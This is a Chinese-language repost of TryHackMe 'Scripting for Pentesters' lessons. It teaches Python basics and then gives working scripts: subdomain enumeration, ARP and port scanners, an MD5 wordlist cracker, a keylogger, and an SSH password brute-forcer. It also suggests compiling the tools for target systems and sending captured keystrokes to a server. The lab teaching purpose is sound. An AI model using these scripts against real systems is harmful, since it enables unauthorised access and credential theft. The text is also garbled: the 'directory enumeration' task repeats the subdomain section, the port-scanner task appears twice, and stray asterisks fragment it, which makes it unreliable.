渗透测试脚本
本房间:https://tryhackme.com/module/scripting-for-pentesters
学习在渗透测试的不同阶段使用 PowerShell 和 Python,并将您的渗透测试技术提升到一个新的水平。
该模块涵盖了任何渗透测试人员都可以使用的最强大的脚本语言的基本用法;PowerShell 和 Python。我们将探索基本用途并转向渗透测试特定任务。从发现到网络扫描,从键盘记录程序到后利用脚本,该模块涵盖了相关的现实场景,这些场景将使您的渗透测试技术提升到一个新的水平。不再受可用工具的限制,构建自己的工具。
Python基础知识
使用基于 Web 的代码编辑器,学习 Python 基础知识,并通过最终编写一个简短的比特币投资项目将您的知识付诸实践。
任务1:Python简介
在这个房间中,您将动手实践并了解脚本编程语言 Python。尽管编程并不是在安全方面取得成功所必需的,但它是一项很棒的技能。正如“渗透测试者脚本”模块所示,能够编程可以让您创建安全工具并创建快速脚本,以帮助您进行黑客攻击(以及防御和分析)。
这个房间将教你:
- 变量
- 循环
- 功能
- 数据结构
- 如果语句
- 文件
您将使用代码编辑器(位于右侧)来完成练习并解决挑战。这个房间将教您基础知识,足以为您提供制作基本脚本的知识。如果您想使用自己的开发环境来编码,请在官 网下载Python ;它为您提供了一个 IDE(集成开发环境)来进行编码。
在编程中,语法很重要,因为它描述了有效编程语言的结构。简而言之,语法告诉计算机如何使用控制编程语言的符号、标点符号和单词结构的规则来读取代码。
任务2:你好世界
首先,让我们创建一个输出一些文本的简单程序。
# This is an example comment
print("Hello World")
从上面的示例代码块中可以看到,它只有一行(如第 2 行所示),当我们运行此代码时,它将输出文本 Hello World。让我们来分解一下。在示例中,第 1 行是注释,以井号 (#) 符号开头的行,并且不由计算机运行。注释是由程序员(您)编写的,旨在帮助阅读代码的其他人了解发生了什么。
我们可以通过使用语句来控制输出到屏幕的内容 print() 。括号内的任何内容都 () 将被输出。但是,因为我们正在打印一个字符串(稍后将在本房间中详细介绍数据类型),所以我们必须将它们放在引号内""
请注意,这个房间的示例适用于 Python3。
任务3:数学运算符
现在让我们介绍数学运算符以及如何将它们应用到 Python 中。像计算器一样,有加、减、乘、除等运算;使用Python,我们可以编写计算器;毕竟,编程只是为计算机编写规则以遵循给定的特定输入和条件。下表显示了不同的操作。
操作员 | 句法 | 例子 |
---|---|---|
添加 | + | 1 + 1 = 2 |
减法 | - | 5 - 1 = 4 |
乘法 | * | 10 * 10 = 100 |
分配 | / | 10 / 2 = 5 |
模数 | % | 10%2=0 |
指数 | ** | 5**2 = 25 (5 2 ) |
现在我们已经了解了基本的数学运算符,让我们继续讨论比较运算符;它们在 Python 中发挥着重要作用,并且当我们查看loops和时将以此为基础if statements。这些运算符用于评估程序在特定状态下的状况。
象征 | 句法 |
---|---|
比...更棒 | > |
少于 | < |
等于 | == |
不等于 | != |
大于或等于 | >= |
小于或等于 | <= |
任务4:变量和数据类型
变量允许您在计算机程序中存储和更新数据。您有一个变量名称并将数据存储到该名称。
food = "ice cream"
money = 2000
在上面的例子中,我们有 2 个变量。变量名“food”存储字符串(单词)ice Cream,而另一个名为“money”的变量存储数字(2000)。
变量非常强大,因为您可以在整个程序中更改它们。以下示例将年龄变量设置为 30,然后我们将此年龄变量增加 1,使最终变量数据为 31。随意将其复制并粘贴到编辑器中,运行代码,并查看其输出。
age = 30
age = age + 1
print(age)
请注意,在第 2 行,我们更新左侧变量的方式,并且我们已经创建了变量名称“age”,后跟 = 运算符。在右边,我们有我们要设置的变量;在我们的例子中,年龄变量(当前设置为 30)增加了 1。
让我们谈谈数据类型,它是存储在变量中的数据类型。您可以存储文本、数字和许多其他类型。要了解的数据类型是:
- 字符串- 用于字符的组合,例如字母或符号
- 整数- 整数
- 浮点型- 包含小数点或分数的数字
- 布尔值- 用于仅限 True 或 False 选项的数据
- 列表- 存储在集合中的一系列不同数据类型
任务5:逻辑和布尔运算符
逻辑运算符允许进行赋值和比较,并用于条件测试(例如 if 语句)。
逻辑运算 | 操作员 | 例子 |
---|---|---|
等价 | == | 如果 x == 5 |
少于 | < | 如果 x < 5 |
小于或等于 | <= | 如果 x <= 5 |
比...更棒 | > | 如果 x > 5 |
大于或等于 | >= | 如果 x >= 5 |
布尔运算符用于连接和比较语句之间的关系。与 if 语句一样,条件可以是 true 或 false。
布尔运算 | 操作员 | 例子 |
---|---|---|
两个条件都必须为真,该陈述才为真 | 和 | if x >= 5 AND x <= 100 如果 x 是 5 到 100 之间的数字,则返回 TRUE |
语句中只有一个条件需要为真 | 或者 | if x == 1 OR x == 10 如果 X 为 1 或 10,则返回 TRUE |
如果条件与参数相反 | 不是 | if NOT y 如果 y 值为 False,则返回 TRUE |
让我们看一些 Python 代码示例:
a = 1
if a == 1 or a > 10:
print("a is either 1 or above 10")
name = "bob" hungry = True
if name == "bob" and hungry == True:
print("bob is hungry")
elif name == "bob" and not hungry:
print("Bob is not hungry")
else: # If all other if conditions are not met
print("Not sure who this is or if they are hungry")
任务6:if语句简介
使用“if 语句”允许程序做出决定。他们让程序根据条件选择决定。下面的示例说明了如何使用 if 语句来确定要使用的代码部分(哪个 print 语句)。
if age < 17:
print('You are NOT old enough to drive')
else:
print('You are old enough to drive')
在示例中,如果您年龄小于 17 岁,程序将输出文本“您还不足以开车”;但是,如果您超过 17 岁,程序将输出“您已达到驾驶年龄”。根据条件(在本例中为年龄变量),程序将运行不同的代码部分。
我们从上面的代码示例中注意到一些关键组件:
- 关键字if指示 if 语句的开头,后跟一组条件。
- 仅当条件(或条件集)为真时才运行 if 语句。在我们的示例中,它是age < 17; 如果该条件为真(年龄低于 17 岁),则运行 if 语句中的代码。根据示例,如果不满足某些条件,程序可以默认运行elseif 语句部分中显示的代码。
- 冒号:标志着 if 语句的结束。
- 注意缩进。冒号后面缩进的任何内容都被视为程序将执行的 if 语句的一部分。
if 语句在编程中是必不可少的,并且会是您经常使用的东西。
任务7:循环
在编程中,循环允许程序多次迭代和执行操作。这里有两种类型的循环for和while循环。
While 循环
让我们首先看看如何构造 while 循环。我们可以让循环无限期地运行,或者(类似于 if 语句)根据条件确定循环应运行多少次。
i = 1
while i <= 10:
print(i)
i = i + 1
这个 while 循环将运行 10 次,每次迭代(循环)时都会输出 i 变量的值。让我们来分解一下:
- i 变量设置为 1
- while 语句指定循环的开始位置
- 每次循环都会从最上面开始(输出i的值)
- 然后进入循环的下一行,将 i 的值增加 1
- 然后(因为程序没有更多的代码可以执行),它转到循环的顶部,再次开始该过程
- 程序将继续循环,直到 i 变量的值大于 10
For 循环
for 循环用于迭代序列(例如列表)。列表用于在单个变量中存储多个项目,并使用方括号创建(见下文)。我们通过下面的例子来学习一下:
websites = ["facebook.com", "google.com", "amazon.com"]
for site in websites:
print(site)
上面代码块中显示的 for 循环将运行 3 次,输出列表中的每个网站。让我们来分解一下:
- 名为 Websites 的列表变量存储 3 个元素
- 循环遍历每个元素,打印出该元素
- 当程序遍历完循环中的每个元素后,程序将停止循环
为了给出一个真实的场景,您可以创建一个程序来检查网站是否在线或商品是否有库存。您将循环访问网站列表,在循环内添加功能来检查网站,然后输出结果。“ Python for Pentesters ”房间向您展示如何使用 Python 枚举目标、构建键盘记录器、扫描网络等等。
在 Python 中,我们还可以使用 range 函数迭代一系列数字。下面是一些示例 Python 代码,它将打印从 0 到 4 的数字。在编程中,0 通常是起始数字,因此数到 5 就是 0 到 4(但有 5 个数字:0、1、2、3 和 4) )
for i in range(5):
print(i)
任务8:比特币项目
随着程序开始变得越来越大、越来越复杂,您的某些代码将是重复的,编写相同的代码来执行相同的计算,这就是函数的用武之地。函数是可以在不同位置调用的代码块在你的程序中。
您可以使用一个函数来进行计算,例如地图上两点之间的距离或根据某些条件输出格式化文本。拥有函数可以消除重复的代码,因为函数的用途可以 在整个程序中多次使用。
def sayHello(name):
print("Hello " + name + "! Nice to meet you.")
sayHello("ben") # Output is: Hello Ben! Nice to meet you
我们可以从这个函数中注意到一些关键组件:
- 关键字def 表示函数的开始。该函数后面跟着name程序员定义的 a (并且是函数参数)。在我们的示例中,它是 sayHello。
- 函数名称后面是一对括号(),用于保存输入值,即我们可以传递给函数的数据。在我们的示例中,它是一个名称。
- 冒号:标记函数头的结尾。
在函数中,请注意缩进。与 if 语句类似,冒号后面缩进的任何内容都被视为函数的一部分。
函数也可以返回结果,请参见下面的代码块:
def calcCost(item):
if(item == "sweets"):
return 3.99
elif (item == "oranges"):
return 1.99
else:
return 0.99
spent = 10
spent = spent + calcCost("sweets")
print("You have spent:" + str(spent))
如果我们调用该calcCost函数并传入“sweets”作为 item 参数,该函数将返回一个十进制数(浮点型)。在上面的代码中,我们采用一个名为花费的变量,并通过 calcCost 函数添加“sweets”的成本;当我们调用 calcCost 时,它将返回数字 3.99。
回答以下问题
您已经投资了比特币,并且想要编写一个程序来告诉您比特币的价值何时低于特定的美元价值。
在代码编辑器中,单击 bitcoin.py 选项卡。编写一个名为bitcoinToUSD的函数,它有两个参数:bitcoin_amount,您拥有的比特币数量,和bitcoin_value_usd,比特币的美元价值。该函数应返回 usd_value,这是您的比特币美元价值(为了计算此值,在函数中,您将 bitcoin_amount 变量乘以 bitcoin_value_usd 变量并返回该值)。函数的开头应如下所示:
def bitcoinToUSD(bitcoin_amount, bitcoin_value_usd):
任务9:文件
在 Python 中,您可以读取和写入文件。我们已经看到,在网络安全中,编写脚本并从文件导入或导出它是很常见的;无论是作为存储脚本输出的方式还是从文件导入 100 个网站的列表以进行枚举。让我们直接看一个例子:
f = open("file_name", "r")
print(f.read())
要打开文件,我们使用内置的 open() 函数,“r”参数代表“read”,在我们读取文件内容时使用。该变量有一个 read() 方法用于读取文件的内容。您还可以使用 readlines() 方法并循环文件中的每一行;如果您有一个列表,其中每个项目都位于新行,则很有用。在上面的示例中,该文件与 Python 脚本位于同一文件夹中;如果它在其他地方,则需要指定文件的完整路径。
您还可以创建和写入文件。如果要写入现有文件,请首先打开该文件,并在文件名调用之后使用 open 函数中的“a”(代表追加)。如果要写入新文件,请使用“w”(写入)而不是“a”。为了清楚起见,请参阅下面的示例:
f = open("demofile1.txt", "a") # Append to an existing file
f.write("The file will include more text..")
f.close()
f = open("demofile2.txt", "w") # Creating and writing to a new file
f.write("demofile2 file created, with this content in!")
f.close()
请注意,我们在写入文件后使用 close() 方法;这将关闭该文件,以便不再对该文件(在程序内)进行写入。
任务10:进口
在Python中,我们可以导入库,它们是包含函数的文件的集合。将导入库视为导入您可以使用的已为您编写的函数。例如,有一个“日期”库,可让您访问数百个与日期和时间相关的不同函数。
import datetime
current_time = datetime.datetime.now()
print(current_time)
我们使用import关键字导入其他库。然后在 Python 中,我们使用该导入的库名称来引用其函数。在上面的示例中,我们导入 datetime,然后通过调用library_name.method_name() 来访问.now() 方法。将上面的示例复制并粘贴到代码编辑器中。
以下是一些流行的库,您可能会发现在作为渗透测试人员编写脚本时很有用:
- Request - 简单的 HTTP 库。
- Scapy - 发送、嗅探、解析和伪造网络数据包
- Pwntools - CTF 和漏洞利用开发库。
其中许多库已经内置到编程语言中;但是,由其他程序员编写的尚未安装在您的计算机中的库可以使用名为 pip 的应用程序进行安装,该应用程序是 Python 的包管理器。假设您想要安装“scapy”库(它允许您用代码制作自己的数据包并将它们发送到其他机器);您首先通过运行命令来安装它pip install scapy,然后您现在可以在程序中导入 scapy 库。
面向渗透测试人员的python
Python 可能是网络安全领域使用最广泛、最方便的脚本语言。这个房间涵盖了 Python 脚本的真实示例,包括哈希破解、键盘记录、枚举和扫描。
任务1:介绍
Python 可以成为你的工具库中最强大的工具,因为它可以用来构建几乎任何其他渗透测试工具。该模块的范围不允许我们深入探讨 Python 的太多细节。尽管如此,我们仍将介绍几个在参与过程中有用的关键领域,并帮助您更好地理解 Python。
请在继续之前完成“ Python 基础知识”房间,因为该房间不会介绍 Python 语言的基本用法和编程特性。
我们不是在学习成为一名开发人员;而是在学习如何成为一名开发人员。我们的目标是成为一名渗透测试员。这个房间将为您提供构建和改进的指导。示例是在“每个示例”的基础上给出的,任何代码都不应被视为达成解决方案的“唯一且正确的方法”。我们的目标是构建快速有效的工具来帮助我们完成日常任务。
在这个房间里,您将看到如何:
- 使用Python枚举目标的子域
- 构建一个简单的键盘记录器
- 扫描网络以查找目标系统
- 扫描任何目标以查找开放端口
- 从互联网下载文件
- 破解哈希值
您在本节中找到的任何代码都可以使用 PyInstaller 等简单工具进行编译,然后发送到目标系统。
注意:可以在下一个任务中找到一个单词表,该单词表对于完成与该房间关联的目标系统相关的任务非常有用。单词列表也被添加到 AttackBox 中,位于以下路径/usr/share/wordlists/PythonForPentesters/wordlist2.txt
要访问您在此任务中启动的计算机,您需要:
- 使用 OpenVPN - 转到访问页面并通过 OpenVPN 连接到我们的网络。在访问机器之前,执行此操作很重要。
- 使用 AttackBox -(推荐)启动 AttackBox(页面顶部的蓝色按钮)并通过浏览器编写 Python 脚本。
任务2:子域枚举
Python 为我们提供了一种在渗透测试期间自动执行任务的简单方法。您必须定期执行的任何任务都值得自动化。虽然自动化过程有一个学习曲线,但中长期收益是值得的。
查找目标组织使用的子域是增加攻击面和发现更多漏洞的有效方法。
该脚本将使用潜在子域的列表,并将它们添加到通过命令行参数提供的域名前面。
然后,该脚本尝试连接到子域并假设接受连接的子域存在。
import requests
import sys
sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
如您所见,该脚本将搜索名为“subdomains.txt”的文件。最简单的方法是使用与 Python 脚本位于同一目录中的单词列表,但可以使用任何单词列表。单词列表应该每行列出一个可能的子域,如下所示:
如果您使用 AttackBox,则无需下载附加到此任务的单词列表,因为它可以在以下位置找到:/usr/share/wordlists/PythonForPentesters/wordlist2.txt
任务3:目录枚举
Python 为我们提供了一种在渗透测试期间自动执行任务的简单方法。您必须定期执行的任何任务都值得自动化。虽然自动化过程有一个学习曲线,但中长期收益是值得的。
查找目标组织使用的子域是增加攻击面和发现更多漏洞的有效方法。
该脚本将使用潜在子域的列表,并将它们添加到通过命令行参数提供的域名前面。
然后,该脚本尝试连接到子域并假设接受连接的子域存在。
import requests
import sys
sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
如您所见,该脚本将搜索名为“subdomains.txt”的文件。最简单的方法是使用与 Python 脚本位于同一目录中的单词列表,但可以使用任何单词列表。单词列表应该每行列出一个可能的子域,如下所示:
如果您使用 AttackBox,则无需下载附加到此任务的单词列表,因为它可以在以下位置找到:/usr/share/wordlists/PythonForPentesters/wordlist2.txt
任务4:网络扫描仪
Python 可用于构建一个简单的 ICMP(互联网控制消息协议)扫描器来识别网络上的潜在目标。然而,ICMP 数据包可以被监视或阻止,因为目标组织不会期望普通用户“ping 服务器”。另一方面,系统可以配置为不响应 ICMP 请求。这些是使用ARP(地址解析协议)来识别本地网络上的目标更有效的主要原因。
代码:
from scapy.all import *
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
如果您使用 AttackBox,则需要先安装 Scapy。这可以使用“”命令轻松完成apt install python3-scapy。
任务5:端口扫描器
在此任务中,我们将查看一个构建简单端口扫描器的脚本。
代码:
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe n Python 4 Pentesters nPort Scanner")
print(ascii_banner)
ip = '192.168.1.6'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
为了更好地理解端口扫描过程,我们可以将代码分为几个部分:
导入有助于代码运行的模块:
import sys
import socket
模块也可以使用单行导入
import socket,sys
*
*指定目标:****
ip = '192.168.1.6'
*
*一个空的“open_ports”数组,稍后将用检测到的开放端口填充:**
**
open_ports =[]
*
*将被探测的端口:****
ports = range(1, 65535)
对于此示例,我们选择使用 range() 函数扫描所有TCP端口。但是,如果您正在寻找特定服务或希望通过扫描一些常见端口来节省时间,则可以按如下方式更改代码;**
**
ports = { 21, 22, 23, 53, 80, 135, 443, 445}
上面的列表相对较小。由于我们试图保持相当低调,因此我们将列表限制为连接到公司网络的系统可能使用的端口。**
获取作为目标给出的域名的 IP 地址。如果用户直接提供 IP 地址,该代码也可以工作。
**
ip = socket.gethostbyname(host)
**
**尝试连接到端口:
*
*
此代码后面是一个 for 循环,该循环遍历指定的端口列表:*
*
*
***
**以下是针对随机目标运行端口扫描脚本的结果。
**
**
当然,我将是第一个承认 ASCII 艺术横幅有点过分的人。该横幅需要导入 Pyfiglet。如果您使用 AttackBox,则可以使用“apt install python3-pyfiglet”命令轻松安装 pyfiglet。
如果您想删除横幅,只需删除以下行即可:
ascii_banner = pyfiglet.figlet_format("TryHackMe n Python 4 Pentesters nPort Scanner")
print(ascii_banner)
任务5:端口扫描器
在此任务中,我们将查看一个构建简单端口扫描器的脚本。
代码:
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe n Python 4 Pentesters nPort Scanner")
print(ascii_banner)
ip = '192.168.1.6'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
为了更好地理解端口扫描过程,我们可以将代码分为几个部分:
导入有助于代码运行的模块:
import sys
import socket
模块也可以使用单行导入
import socket,sys
*
*指定目标:****
ip = '192.168.1.6'
*
*一个空的“open_ports”数组,稍后将用检测到的开放端口填充:**
**
open_ports =[]
*
*将被探测的端口:****
ports = range(1, 65535)
对于此示例,我们选择使用 range() 函数扫描所有TCP端口。但是,如果您正在寻找特定服务或希望通过扫描一些常见端口来节省时间,则可以按如下方式更改代码;**
**
ports = { 21, 22, 23, 53, 80, 135, 443, 445}
上面的列表相对较小。由于我们试图保持相当低调,因此我们将列表限制为连接到公司网络的系统可能使用的端口。**
获取作为目标给出的域名的 IP 地址。如果用户直接提供 IP 地址,该代码也可以工作。
**
ip = socket.gethostbyname(host)
**
**尝试连接到端口:
*
*
此代码后面是一个 for 循环,该循环遍历指定的端口列表:*
*
*
***
**以下是针对随机目标运行端口扫描脚本的结果。
**
**
当然,我将是第一个承认 ASCII 艺术横幅有点过分的人。该横幅需要导入 Pyfiglet。如果您使用 AttackBox,则可以使用“apt install python3-pyfiglet”命令轻松安装 pyfiglet。
如果您想删除横幅,只需删除以下行即可:
ascii_banner = pyfiglet.figlet_format("TryHackMe n Python 4 Pentesters nPort Scanner")
print(ascii_banner)
任务6:文件下载器
Linux系统上的 Wget或 Windows 上的 Certutil 是下载文件的有用工具。
Python 也可以用于相同的目的。
代码:
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
这段简短的代码可以轻松地用于检索任何其他类型的文件,如下所示:
import requests
url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)
PSexec 允许系统管理员在远程 Windows 系统上运行命令。我们发现 PSexec 也被用于网络攻击,因为防病毒软件通常无法检测到它。您可以在此处了解有关 PSexec 的更多信息,并阅读这篇关于攻击者如何使用 PSexec 的博文。
任务7:哈希破解器
哈希通常用于保护密码和其他重要数据。作为渗透测试人员,您可能需要查找多个不同哈希值的明文值。Python 中的 Hash 库允许您根据需要快速构建哈希破解器。
Hashlib 是一个功能强大的模块,支持多种算法。
抛开您将在上面的列表中看到的一些更奇特的算法不谈,hashlib 将支持大多数常用的哈希算法。
哈希破解器
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe n Python 4 Pentesters n HASH CRACKER for MD 5")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
该脚本需要两个输入:单词列表的位置和哈希值。
您可能知道,哈希值无法破解,因为它们不包含明文值。与可以“反转”(例如解密)的加密值不同,散列的明文值只能从潜在明文值列表开始找到。一个简化的过程如下所示;
- 您从数据库中检索哈希值“eccbc87e4b5ce2fe28308fd9f2a7baf3”,您怀疑该值是 1 到 5 之间的数字的哈希值。
- 您创建一个包含可能的明文值(从 1 到 5 的数字)的文件
- 您为明文列表中的值生成哈希列表(1 到 5 之间的数字的哈希值)
- 将生成的哈希值与手头的哈希值进行比较(匹配数字 3 的哈希值)
显然,可以设计更有效的流程,但主要原理保持不变。
下面的脚本遵循与上述方法接近的方法;
- 询问单词列表的位置
- 要求破解哈希值
- 从单词列表中读取值(每行一个)
- 将明文值转换为MD5哈希值
- 将生成的MD5哈希值与用户输入的值进行比较
下图:MD5破解脚本,包括绝对可选且俗气的 ASCII 艺术横幅。
任务8:键盘记录器
模块让我们能够用简单的方式解决相对困难的问题。
一个很好的例子是“键盘”模块,它允许我们与键盘进行交互。
如果您的系统上没有“键盘”模块,我们可以使用 pip3 来安装它。
pip3 install keyboard
使用键盘模块,以下三行代码足以记录和重播按下的按键:
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
“keyboard.record”将记录按键直到按下 ENTER,“keyboard.play”将重播它们。由于此脚本正在记录击键,因此也将看到使用退格键进行的任何编辑。
任务9:SSH 暴力破解
强大的 Python 语言受到许多模块的支持,可以轻松扩展其功能。Paramiko 是SSH v2 实现,可用于构建 SSH 客户端和服务器。
下面的示例显示了构建SSH密码暴力攻击脚本的一种方法。正如编程中常见的情况一样,此类应用程序很少有单一的正确答案。作为渗透测试人员,您对编程语言的使用对于开发人员来说会有所不同。虽然他们可能关心最佳实践和代码卫生,但您的目标通常是最终获得按您希望的方式工作的代码。
现在,您应该熟悉“try”和“ except”语法。该脚本有一个新功能“def”。“Def”允许我们创建自定义函数,如下所示。“ssh_connect”函数不是 Python 原生的,而是使用 Paramiko 和“paramiko.SSHClient()”函数构建的。
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
阅读代码,您会注意到几个不同的组件。
导入:我们导入将在脚本中使用的模块。如前所述,我们需要 Paramiko 与目标系统上的SSH服务器进行交互。“Sys”和“os”将为我们提供从操作系统读取文件所需的基本功能(在本例中是我们的密码列表)。由于我们使用 Paramiko 与 SSH 服务器通信,因此不需要导入“socket”。
输入:此块将请求用户输入。另一种方法是使用“sys.argv[]”直接从命令行接受用户输入作为参数。
SSH连接:本节将创建“ssh_connect”函数。身份验证成功将返回代码 0,身份验证失败将返回代码 1。
密码列表:然后我们打开用户之前提供的密码文件,并将每一行作为要尝试的密码。
响应:脚本尝试连接到SSH服务器并根据响应代码决定输出。请注意,此处的响应代码是 Paramiko 生成的响应代码,而不是 HTTP 响应代码。一旦找到有效的密码,脚本就会退出。
正如您将看到的,脚本的运行速度比我们预期的要慢。为了提高速度,您可能需要研究线程化此过程。
在继续回答以下问题之前,请确保您已从任务 2 下载了单词列表文件。单词列表也被添加到 AttackBox 中,位于以下路径/usr/share/wordlists/PythonForPentesters/wordlist2.txt
任务10:额外的挑战
根据我们在本会议室中介绍的内容,以下是有关如何扩展这些工具或开始使用 Python 构建自己的工具的一些建议:
- 使用DNS请求枚举潜在的子域
- 构建键盘记录器以将捕获的击键发送到您使用 Python 构建的服务器
- 抓住在开放端口上运行的服务的旗帜
- 爬取目标网站下载包含的.js库文件
- 尝试为每个项目构建一个 Windows 可执行文件,看看它们是否可以在 Windows 目标上作为独立应用程序运行
- 在枚举和暴力破解脚本中实现线程,使它们运行得更快
原文始发于微信公众号(夏小芸sec):Python渗透脚本
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论